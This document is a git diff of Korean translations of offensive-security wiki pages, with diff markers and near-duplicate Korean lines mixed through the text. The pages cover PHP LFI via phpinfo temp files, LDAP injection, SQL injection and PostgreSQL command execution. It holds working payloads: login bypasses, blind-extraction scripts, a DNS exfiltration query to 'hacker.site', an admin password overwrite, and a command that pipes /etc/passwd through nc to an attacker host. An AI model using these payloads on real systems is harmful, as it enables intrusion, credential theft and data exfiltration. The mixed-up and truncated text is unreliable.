**Linux**에서는 파일 이름이 **무작위**이며 **/tmp**에 위치합니다. 이름이 무작위이기 때문에 **어딘가에서 임시 파일의 이름을 추출하고** 삭제되기 전에 접근해야 합니다. 이는 "**phpconfig()**" 함수의 내용 내에서 **변수 $\_FILES**의 값을 읽음으로써 수행할 수 있습니다.
|
||||
**Linux**에서는 파일 이름이 **무작위**이며 **/tmp**에 위치합니다. 이름이 무작위이기 때문에 **어딘가에서 임시 파일의 이름을 추출해야** 하며 삭제되기 전에 접근해야 합니다. 이는 "**phpconfig()**" 함수의 내용 내에서 **변수 $\_FILES**의 값을 읽음으로써 수행할 수 있습니다.
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP**는 **4096B**의 버퍼를 사용하며, 버퍼가 **가득 차면** 클라이언트에게 **전송**됩니다. 그런 다음 클라이언트는 **많은 큰 요청**(큰 헤더를 사용하여) **php** 리버스 **셸을 업로드하고**, **phpinfo()의 첫 번째 부분이 반환될 때까지 기다린 후**(임시 파일의 이름이 있는 곳) **LFI 취약점을 익스플로잇하여 php 서버가 파일을 삭제하기 전에 임시 파일에 접근**하려고 시도할 수 있습니다.
|
||||
**PHP**는 **4096B**의 버퍼를 사용하며, 버퍼가 **가득 차면** 클라이언트에게 **전송됩니다**. 그런 다음 클라이언트는 **많은 큰 요청을 보낼 수 있습니다** (큰 헤더를 사용하여) **php** 리버스 **쉘을 업로드하고**, **phpinfo()의 첫 번째 부분이 반환될 때까지 기다립니다** (임시 파일의 이름이 있는 곳) 그리고 LFI 취약점을 악용하여 php 서버가 파일을 삭제하기 전에 **임시 파일에 접근하려고 시도합니다**.
|
||||
|
||||
**이름을 브루트포스 시도하기 위한 Python 스크립트(길이 = 6)**
|
||||
**이름을 무작위로 추측하기 위한 Python 스크립트 (길이 = 6)**
|
||||
```python
|
||||
import itertools
|
||||
import requests
|
||||
|
@ -16,7 +16,9 @@
|
||||
|
||||
**LDAP Injection**은 사용자 입력으로부터 LDAP 문장을 구성하는 웹 애플리케이션을 목표로 하는 공격입니다. 애플리케이션이 입력을 **적절히 정화하지 못할** 때 발생하며, 공격자가 로컬 프록시를 통해 **LDAP 문장을 조작**할 수 있게 되어, 무단 접근이나 데이터 조작으로 이어질 수 있습니다.
|
||||
|
||||
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
{{#file}}
|
||||
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
|
||||
{{#endfile}}
|
||||
|
||||
**Filter** = ( filtercomp )\
|
||||
**Filtercomp** = and / or / not / item\
|
||||
@ -54,9 +56,9 @@
|
||||
|
||||
그런 다음: `(&(objectClass=`**`*)(ObjectClass=*))`**가 첫 번째 필터(실행되는 필터)가 됩니다.
|
||||
|
||||
### 로그인 우회
|
||||
### Login Bypass
|
||||
|
||||
LDAP는 비밀번호를 저장하는 여러 형식을 지원합니다: clear, md5, smd5, sh1, sha, crypt. 따라서 비밀번호에 무엇을 입력하든 관계없이 해시될 수 있습니다.
|
||||
LDAP는 비밀번호를 저장하기 위한 여러 형식을 지원합니다: clear, md5, smd5, sh1, sha, crypt. 따라서 비밀번호에 무엇을 입력하든 관계없이 해시될 수 있습니다.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
@ -111,15 +113,15 @@ username=admin))(|(|
|
||||
password=any
|
||||
--> (&(uid=admin)) (| (|) (webpassword=any))
|
||||
```
|
||||
#### 목록
|
||||
#### Lists
|
||||
|
||||
- [LDAP_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt)
|
||||
- [LDAP 속성](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
|
||||
- [LDAP PosixAccount 속성](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
|
||||
- [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
|
||||
- [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
|
||||
|
||||
### 블라인드 LDAP 인젝션
|
||||
### Blind LDAP Injection
|
||||
|
||||
데이터가 반환되는지 확인하고 가능한 블라인드 LDAP 인젝션을 확인하기 위해 False 또는 True 응답을 강제할 수 있습니다:
|
||||
False 또는 True 응답을 강제로 생성하여 데이터가 반환되는지 확인하고 가능한 Blind LDAP Injection을 확인할 수 있습니다:
|
||||
```bash
|
||||
#This will result on True, so some information will be shown
|
||||
Payload: *)(objectClass=*))(&objectClass=void
|
||||
@ -148,7 +150,7 @@ ascii 문자, 숫자 및 기호를 반복할 수 있습니다:
|
||||
|
||||
#### **유효한 LDAP 필드 발견**
|
||||
|
||||
LDAP 객체는 **기본적으로 여러 속성을 포함**하고 있어 **정보를 저장하는 데 사용할 수 있습니다**. 이 정보를 추출하기 위해 **모든 속성을 무작위로 시도해 볼 수 있습니다**. [**기본 LDAP 속성 목록은 여기에서 확인할 수 있습니다**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
|
||||
LDAP 객체는 **기본적으로 여러 속성을 포함**하고 있어 **정보를 저장하는 데 사용될 수 있습니다**. 이 정보를 추출하기 위해 **모든 속성을 무작위로 시도해 볼 수 있습니다**. [**기본 LDAP 속성 목록은 여기에서 확인할 수 있습니다**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
@ -180,7 +182,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
|
||||
finish = True
|
||||
print()
|
||||
```
|
||||
#### **특수 블라인드 LDAP 인젝션 (없이 "\*")**
|
||||
#### **특별한 블라인드 LDAP 인젝션 (없이 "\*")**
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## What is SQL injection?
|
||||
|
||||
An **SQL injection** is a security flaw that allows attackers to **interfere with database queries** of an application. This vulnerability can enable attackers to **view**, **modify**, or **delete** data they shouldn't access, including information of other users or any data the application can access. Such actions may result in permanent changes to the application's functionality or content or even compromision of the server or denial of service.
|
||||
An **SQL injection**는 공격자가 애플리케이션의 **데이터베이스 쿼리**에 **간섭할 수 있게 해주는** 보안 결함입니다. 이 취약점은 공격자가 접근해서는 안 되는 데이터, 즉 다른 사용자의 정보나 애플리케이션이 접근할 수 있는 모든 데이터를 **조회**, **수정**, 또는 **삭제**할 수 있게 합니다. 이러한 행동은 애플리케이션의 기능이나 콘텐츠에 영구적인 변경을 초래하거나 서버의 손상 또는 서비스 거부를 초래할 수 있습니다.
|
||||
|
||||
## Entry point detection
|
||||
|
||||
When a site appears to be **vulnerable to SQL injection (SQLi)** due to unusual server responses to SQLi-related inputs, the **first step** is to understand how to **inject data into the query without disrupting it**. This requires identifying the method to **escape from the current context** effectively. These are some useful examples:
|
||||
사이트가 SQLi 관련 입력에 대한 비정상적인 서버 응답으로 인해 **SQL injection (SQLi)**에 **취약한 것으로 보일 때**, **첫 번째 단계**는 **쿼리를 방해하지 않고 데이터를 주입하는 방법**을 이해하는 것입니다. 이는 현재 컨텍스트에서 **효과적으로 벗어나는 방법**을 식별하는 것을 요구합니다. 다음은 유용한 몇 가지 예입니다:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -23,7 +23,7 @@ When a site appears to be **vulnerable to SQL injection (SQLi)** due to unusual
|
||||
```
|
||||
그런 다음, **오류가 없도록 쿼리를 수정하는 방법**을 알아야 합니다. 쿼리를 수정하기 위해 **데이터를 입력**하여 **이전 쿼리가 새 데이터를 수용하도록** 하거나, 그냥 **데이터를 입력**하고 **끝에 주석 기호를 추가**할 수 있습니다.
|
||||
|
||||
_쿼리가 작동할 때와 작동하지 않을 때 오류 메시지를 볼 수 있거나 차이를 발견할 수 있다면 이 단계는 더 쉬울 것입니다._
|
||||
_쿼리가 작동할 때와 작동하지 않을 때 오류 메시지를 볼 수 있거나 차이점을 발견할 수 있다면 이 단계는 더 쉬울 것입니다._
|
||||
|
||||
### **주석**
|
||||
```sql
|
||||
@ -51,11 +51,11 @@ SQLite
|
||||
HQL
|
||||
HQL does not support comments
|
||||
```
|
||||
### 논리 연산으로 확인하기
|
||||
### Confirming with logical operations
|
||||
|
||||
SQL 인젝션 취약점을 확인하는 신뢰할 수 있는 방법은 **논리 연산**을 실행하고 예상 결과를 관찰하는 것입니다. 예를 들어, `?username=Peter`와 같은 GET 매개변수가 `?username=Peter' or '1'='1`로 수정했을 때 동일한 콘텐츠를 생성하면 SQL 인젝션 취약점이 있음을 나타냅니다.
|
||||
|
||||
마찬가지로, **수학적 연산**의 적용은 효과적인 확인 기술로 작용합니다. 예를 들어, `?id=1`과 `?id=2-1`에 접근했을 때 동일한 결과가 생성되면 SQL 인젝션을 나타냅니다.
|
||||
유사하게, **수학적 연산**의 적용은 효과적인 확인 기술로 작용합니다. 예를 들어, `?id=1`과 `?id=2-1`에 접근했을 때 동일한 결과가 생성되면 SQL 인젝션을 나타냅니다.
|
||||
|
||||
논리 연산 확인을 보여주는 예:
|
||||
```
|
||||
@ -66,11 +66,13 @@ page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
이 단어 목록은 제안된 방법으로 **SQL 인젝션을 확인하기 위해** 생성되었습니다:
|
||||
|
||||
{% file src="../../images/sqli-logic.txt" %}
|
||||
{{#file}}
|
||||
sqli-logic.txt
|
||||
{{#endfile}}
|
||||
|
||||
### 타이밍으로 확인하기
|
||||
|
||||
일부 경우에는 테스트 중인 페이지에서 **변화를 감지하지 못할 수 있습니다**. 따라서 **블라인드 SQL 인젝션을 발견하는** 좋은 방법은 DB가 작업을 수행하게 하여 페이지 로드 시간에 **영향을 미치게 하는** 것입니다.\
|
||||
일부 경우에는 테스트 중인 페이지에서 **변화를 감지하지 못할 수 있습니다**. 따라서 **블라인드 SQL 인젝션을 발견하는** 좋은 방법은 DB가 작업을 수행하게 하여 페이지 로드 시간에 **영향을 미치는** 것입니다.\
|
||||
따라서 SQL 쿼리에 완료하는 데 많은 시간이 걸리는 작업을 연결할 것입니다:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
@ -93,7 +95,7 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
일부 경우에 **sleep 함수가 허용되지 않을 수 있습니다**. 그런 경우, 이러한 함수를 사용하는 대신 **복잡한 작업을 수행하는 쿼리**를 만들 수 있습니다. _이러한 기술의 예는 각 기술에 대해 별도로 설명될 것입니다 (있는 경우)_.
|
||||
일부 경우에 **sleep 함수가 허용되지 않을 수 있습니다**. 그런 경우, 이러한 함수를 사용하는 대신 쿼리가 **복잡한 작업을 수행**하도록 만들어 몇 초가 걸리게 할 수 있습니다. _이러한 기술의 예는 각 기술에 대해 별도로 설명될 것입니다 (있는 경우)_.
|
||||
|
||||
### 백엔드 식별
|
||||
|
||||
@ -140,13 +142,13 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
|
||||
### 열의 수 감지
|
||||
|
||||
쿼리의 출력을 볼 수 있다면, 이것이 가장 좋은 악용 방법입니다.\
|
||||
우선, **초기 요청**이 반환하는 **열**의 **수**를 찾아야 합니다. 이는 **두 쿼리가 동일한 수의 열을 반환해야 하기 때문**입니다.\
|
||||
쿼리의 출력을 볼 수 있다면, 이것이 가장 좋은 방법입니다.\
|
||||
우선, **초기 요청**이 반환하는 **열**의 **수**를 알아내야 합니다. 이는 **두 쿼리가 동일한 수의 열을 반환해야 하기 때문**입니다.\
|
||||
이 목적을 위해 일반적으로 두 가지 방법이 사용됩니다:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
쿼리의 열 수를 결정하기 위해, **ORDER BY** 또는 **GROUP BY** 절에서 사용된 숫자를 점진적으로 조정하여 잘못된 응답이 수신될 때까지 진행합니다. SQL 내에서 **GROUP BY**와 **ORDER BY**의 기능이 다르지만, 두 가지 모두 쿼리의 열 수를 확인하는 데 동일하게 활용될 수 있습니다.
|
||||
쿼리의 열 수를 결정하기 위해, **ORDER BY** 또는 **GROUP BY** 절에서 사용된 숫자를 점진적으로 조정하여 잘못된 응답이 수신될 때까지 진행합니다. SQL 내에서 **GROUP BY**와 **ORDER BY**의 기능은 다르지만, 두 가지 모두 쿼리의 열 수를 확인하는 데 동일하게 활용될 수 있습니다.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -193,7 +195,7 @@ _모든 데이터베이스에서 이 데이터를 발견하는 방법은 다르
|
||||
|
||||
이는 블라인드 주입 기술과 대상 데이터베이스 관리 시스템(DBMS)에 특정한 기본 테이블을 사용하여 수행할 수 있습니다. 이러한 기본 테이블을 이해하기 위해서는 대상 DBMS의 문서를 참조하는 것이 좋습니다.
|
||||
|
||||
쿼리가 추출되면, 원래 쿼리를 안전하게 종료하도록 페이로드를 조정해야 합니다. 그 후, 유니온 쿼리를 페이로드에 추가하여 새로 접근 가능한 유니온 기반 주입을 활용할 수 있습니다.
|
||||
쿼리가 추출되면, 원래 쿼리를 안전하게 종료하도록 페이로드를 조정해야 합니다. 그 후, 유니온 쿼리를 페이로드에 추가하여 새롭게 접근 가능한 유니온 기반 주입을 활용할 수 있습니다.
|
||||
|
||||
더 포괄적인 통찰력을 원하시면 [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)에서 제공되는 전체 기사를 참조하세요.
|
||||
|
||||
@ -204,10 +206,10 @@ _모든 데이터베이스에서 이 데이터를 발견하는 방법은 다르
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Blind SQLi 활용하기
|
||||
## Exploiting Blind SQLi
|
||||
|
||||
이 경우 쿼리의 결과나 오류를 볼 수는 없지만, 쿼리가 **true** 또는 **false** 응답을 **반환**할 때 페이지의 내용이 다르다는 것을 **구별**할 수 있습니다.\
|
||||
이 경우, 그 동작을 악용하여 데이터베이스를 문자 단위로 덤프할 수 있습니다:
|
||||
이 경우 쿼리의 결과나 오류를 볼 수 없지만, 쿼리가 **true** 또는 **false** 응답을 **return**할 때 페이지의 내용이 다르기 때문에 이를 **distinguished**할 수 있습니다.\
|
||||
이 경우, 이 동작을 악용하여 데이터베이스를 문자 단위로 덤프할 수 있습니다:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
@ -219,19 +221,19 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Exploiting Time Based SQLi
|
||||
|
||||
이 경우에는 페이지의 맥락에 따라 쿼리의 **응답**을 **구별**할 수 있는 방법이 **없습니다**. 그러나 추측한 문자가 올바른 경우 페이지가 **더 오래 로드되도록** 만들 수 있습니다. 우리는 이미 [confirm a SQLi vuln](#confirming-with-timing)에서 이 기술이 사용되는 것을 보았습니다.
|
||||
이 경우에는 페이지의 맥락에 따라 쿼리의 **응답**을 **구별**할 수 있는 방법이 **없습니다**. 그러나, 추측한 문자가 올바른 경우 페이지가 **더 오래 로드되도록** 만들 수 있습니다. 우리는 이미 [SQLi 취약점 확인](#confirming-with-timing)에서 이 기술이 사용되는 것을 보았습니다.
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Stacked Queries
|
||||
|
||||
스택 쿼리를 사용하여 **여러 쿼리를 연속으로 실행**할 수 있습니다. 후속 쿼리가 실행되는 동안 **결과**는 **응용 프로그램에 반환되지 않습니다**. 따라서 이 기술은 주로 **블라인드 취약점**과 관련하여 사용되며, 두 번째 쿼리를 사용하여 DNS 조회, 조건부 오류 또는 시간 지연을 트리거할 수 있습니다.
|
||||
스택 쿼리를 사용하여 **여러 쿼리를 연속으로 실행**할 수 있습니다. 후속 쿼리가 실행되는 동안 **결과**는 **응용 프로그램에 반환되지** 않음을 유의하십시오. 따라서 이 기술은 주로 **블라인드 취약점**과 관련하여 사용되며, 두 번째 쿼리를 사용하여 DNS 조회, 조건부 오류 또는 시간 지연을 트리거할 수 있습니다.
|
||||
|
||||
**Oracle**은 **스택 쿼리**를 지원하지 않습니다. **MySQL, Microsoft** 및 **PostgreSQL**은 이를 지원합니다: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Out of band Exploitation
|
||||
|
||||
**다른** 취약점 이용 방법이 **작동하지 않는 경우**, **데이터베이스**가 **외부 호스트**로 정보를 **유출**하도록 시도할 수 있습니다. 예를 들어, DNS 쿼리를 통해:
|
||||
**다른** 취약점 이용 방법이 **작동하지** 않는 경우, **데이터베이스가** 정보를 **외부 호스트**로 유출하도록 시도할 수 있습니다. 예를 들어, DNS 쿼리를 통해:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
@ -245,7 +247,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
|
||||
## 기술별 정보
|
||||
|
||||
SQL Injection 취약점을 익스플로잇하는 모든 방법에 대해 이미 논의했습니다. 이 책에서 데이터베이스 기술에 따라 더 많은 트릭을 찾아보세요:
|
||||
우리는 이미 SQL Injection 취약점을 익스플로잇하는 모든 방법에 대해 논의했습니다. 이 책에서 데이터베이스 기술에 따라 더 많은 트릭을 찾아보세요:
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
@ -253,7 +255,7 @@ SQL Injection 취약점을 익스플로잇하는 모든 방법에 대해 이미
|
||||
- [Oracle](oracle-injection.md)
|
||||
- [PostgreSQL](postgresql-injection/index.html)
|
||||
|
||||
또한 **MySQL, PostgreSQL, Oracle, MSSQL, SQLite 및 HQL에 관한 많은 트릭을** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)에서 찾을 수 있습니다.
|
||||
또는 **MySQL, PostgreSQL, Oracle, MSSQL, SQLite 및 HQL에 관한 많은 트릭을** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)에서 찾을 수 있습니다.
|
||||
|
||||
## 인증 우회
|
||||
|
||||
@ -281,7 +283,9 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
각 줄의 목록을 사용자 이름으로 사용하고 비밀번호는 항상: _**Pass1234.**_\
|
||||
&#xNAN;_(이 페이로드는 이 섹션의 시작 부분에 언급된 큰 목록에도 포함되어 있습니다)_
|
||||
|
||||
{% file src="../../images/sqli-hashbypass.txt" %}
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### GBK 인증 우회
|
||||
|
||||
@ -310,9 +314,9 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
|
||||
To do so you should try to **create a new object named as the "master object"** (probably **admin** in case of users) modifying something:
|
||||
|
||||
- Create user named: **AdMIn** (대문자 & 소문자)
|
||||
- Create user named: **AdMIn** (uppercase & lowercase letters)
|
||||
- Create a user named: **admin=**
|
||||
- **SQL Truncation Attack** (사용자 이름이나 이메일에 **길이 제한**이 있을 때) --> Create user with name: **admin \[많은 공백] a**
|
||||
- **SQL Truncation Attack** (when there is some kind of **length limit** in the username or email) --> Create user with name: **admin \[a lot of spaces] a**
|
||||
|
||||
#### SQL Truncation Attack
|
||||
|
||||
@ -320,21 +324,15 @@ If the database is vulnerable and the max number of chars for username is for ex
|
||||
|
||||
The database will **check** if the introduced **username** **exists** inside the database. If **not**, it will **cut** the **username** to the **max allowed number of characters** (in this case to: "_admin \[25 spaces]_") and the it will **automatically remove all the spaces at the end updating** inside the database the user "**admin**" with the **new password** (some error could appear but it doesn't means that this hasn't worked).
|
||||
|
||||
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### MySQL Insert time based checking
|
||||
|
||||
Add as much `','',''` as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection.
|
||||
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-tr
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
`ON DUPLICATE KEY UPDATE` 절은 MySQL에서 UNIQUE 인덱스나 PRIMARY KEY에서 중복 값이 발생하는 행을 삽입하려고 할 때 데이터베이스가 취할 행동을 지정하는 데 사용됩니다. 다음 예시는 이 기능이 관리자의 계정 비밀번호를 수정하는 데 어떻게 악용될 수 있는지를 보여줍니다:
|
||||
MySQL의 `ON DUPLICATE KEY UPDATE` 절은 UNIQUE 인덱스 또는 PRIMARY KEY에서 중복 값이 발생하는 행을 삽입하려고 할 때 데이터베이스가 수행할 작업을 지정하는 데 사용됩니다. 다음 예제는 이 기능이 관리자의 계정 비밀번호를 수정하는 데 어떻게 악용될 수 있는지를 보여줍니다:
|
||||
|
||||
예시 페이로드 주입:
|
||||
Example Payload Injection:
|
||||
|
||||
주입 페이로드는 다음과 같이 작성될 수 있으며, 두 개의 행이 `users` 테이블에 삽입되려고 시도됩니다. 첫 번째 행은 미끼이고, 두 번째 행은 비밀번호를 업데이트할 의도로 기존 관리자의 이메일을 대상으로 합니다:
|
||||
```sql
|
||||
@ -342,15 +340,15 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
|
||||
```
|
||||
다음은 작동 방식입니다:
|
||||
|
||||
- 쿼리는 두 개의 행을 삽입하려고 시도합니다: 하나는 `generic_user@example.com`을 위한 것이고, 다른 하나는 `admin_generic@example.com`을 위한 것입니다.
|
||||
- 쿼리는 `generic_user@example.com`에 대한 행과 `admin_generic@example.com`에 대한 행을 삽입하려고 시도합니다.
|
||||
- `admin_generic@example.com`에 대한 행이 이미 존재하는 경우, `ON DUPLICATE KEY UPDATE` 절이 트리거되어 MySQL에 기존 행의 `password` 필드를 "bcrypt_hash_of_newpassword"로 업데이트하도록 지시합니다.
|
||||
- 따라서 인증은 `admin_generic@example.com`을 사용하여 bcrypt 해시에 해당하는 비밀번호로 시도할 수 있습니다 ("bcrypt_hash_of_newpassword"는 새 비밀번호의 bcrypt 해시를 나타내며, 원하는 비밀번호의 실제 해시로 대체되어야 합니다).
|
||||
- 따라서 `admin_generic@example.com`을 사용하여 bcrypt 해시에 해당하는 비밀번호로 인증을 시도할 수 있습니다 ("bcrypt_hash_of_newpassword"는 새 비밀번호의 bcrypt 해시를 나타내며, 원하는 비밀번호의 실제 해시로 대체되어야 합니다).
|
||||
|
||||
### 정보 추출
|
||||
|
||||
#### 두 개의 계정을 동시에 생성하기
|
||||
#### 동시에 2개 계정 만들기
|
||||
|
||||
새 사용자와 사용자 이름을 생성하려고 할 때, 비밀번호와 이메일이 필요합니다:
|
||||
새 사용자와 사용자 이름을 만들려고 할 때 비밀번호와 이메일이 필요합니다:
|
||||
```
|
||||
SQLi payload:
|
||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||
@ -389,7 +387,7 @@ Example:
|
||||
```
|
||||
## WAF 우회
|
||||
|
||||
[초기 우회는 여기에서](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
[여기에서 초기 우회](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
### 공백 없는 우회
|
||||
|
||||
@ -447,7 +445,7 @@ You can find a more in depth explaination of this trick in [gosecure blog](https
|
||||
|
||||
우선, **원래 쿼리와 플래그를 추출하려는 테이블의 열 수가 동일하다면** 다음과 같이 할 수 있습니다: `0 UNION SELECT * FROM flag`
|
||||
|
||||
**열 이름을 사용하지 않고 테이블의 세 번째 열에 접근하는 것이 가능합니다**. 다음과 같은 쿼리를 사용하여: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, 따라서 sqlinjection에서는 다음과 같이 보일 것입니다:
|
||||
**이름을 사용하지 않고 테이블의 세 번째 열에 접근하는 것이 가능합니다**. 다음과 같은 쿼리를 사용하여: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, 따라서 sqlinjection에서는 다음과 같이 보일 것입니다:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## PostgreSQL Extensions
|
||||
|
||||
PostgreSQL는 확장성을 핵심 기능으로 개발하여, 확장을 마치 내장 기능처럼 원활하게 통합할 수 있습니다. 이러한 확장은 본질적으로 C로 작성된 라이브러리로, 데이터베이스에 추가 기능, 연산자 또는 유형을 풍부하게 합니다.
|
||||
PostgreSQL는 확장성을 핵심 기능으로 개발하여, 마치 내장 기능처럼 확장을 원활하게 통합할 수 있습니다. 이러한 확장은 본질적으로 C로 작성된 라이브러리로, 데이터베이스에 추가 기능, 연산자 또는 유형을 제공합니다.
|
||||
|
||||
8.1 버전부터는 확장 라이브러리에 특정 요구 사항이 부과됩니다: 특별한 헤더로 컴파일되어야 합니다. 그렇지 않으면 PostgreSQL은 이를 실행하지 않으며, 호환 가능하고 잠재적으로 안전한 확장만 사용되도록 보장합니다.
|
||||
버전 8.1부터는 확장 라이브러리에 특정 요구 사항이 부과됩니다: 특별한 헤더로 컴파일되어야 합니다. 그렇지 않으면 PostgreSQL은 이를 실행하지 않으며, 호환 가능하고 잠재적으로 안전한 확장만 사용되도록 보장합니다.
|
||||
|
||||
또한, **PostgreSQL을 악용하여 피해자에게 파일을 업로드하는 방법을 모른다면 이 게시물을 읽어야 합니다.** [**upload files to the victim abusing PostgreSQL you should read this post.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
@ -14,7 +14,7 @@ PostgreSQL는 확장성을 핵심 기능으로 개발하여, 확장을 마치
|
||||
|
||||
**자세한 정보는 다음을 확인하세요: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
|
||||
PostgreSQL 8.1 및 이전 버전에서 시스템 명령을 실행하는 것은 명확하게 문서화되어 있으며 간단한 프로세스입니다. 이를 사용하여 다음을 사용할 수 있습니다: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
PostgreSQL 8.1 및 이전 버전에서 시스템 명령을 실행하는 것은 명확하게 문서화되어 있으며 간단한 프로세스입니다. 이를 사용하여: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
@ -26,9 +26,9 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>base64로 이진 파일 쓰기</summary>
|
||||
<summary>Write binary file from base64</summary>
|
||||
|
||||
Postgres에서 파일에 이진 데이터를 쓰려면 base64를 사용해야 할 수 있습니다. 이는 이 문제에 도움이 될 것입니다:
|
||||
Postgres에서 이진 파일을 작성하려면 base64를 사용해야 할 수 있습니다. 이는 그 문제에 도움이 될 것입니다:
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||||
$$
|
||||
@ -75,7 +75,7 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
```
|
||||
이 오류는 [PostgreSQL 문서](https://www.postgresql.org/docs/current/static/xfunc-c.html)에서 설명되어 있습니다:
|
||||
|
||||
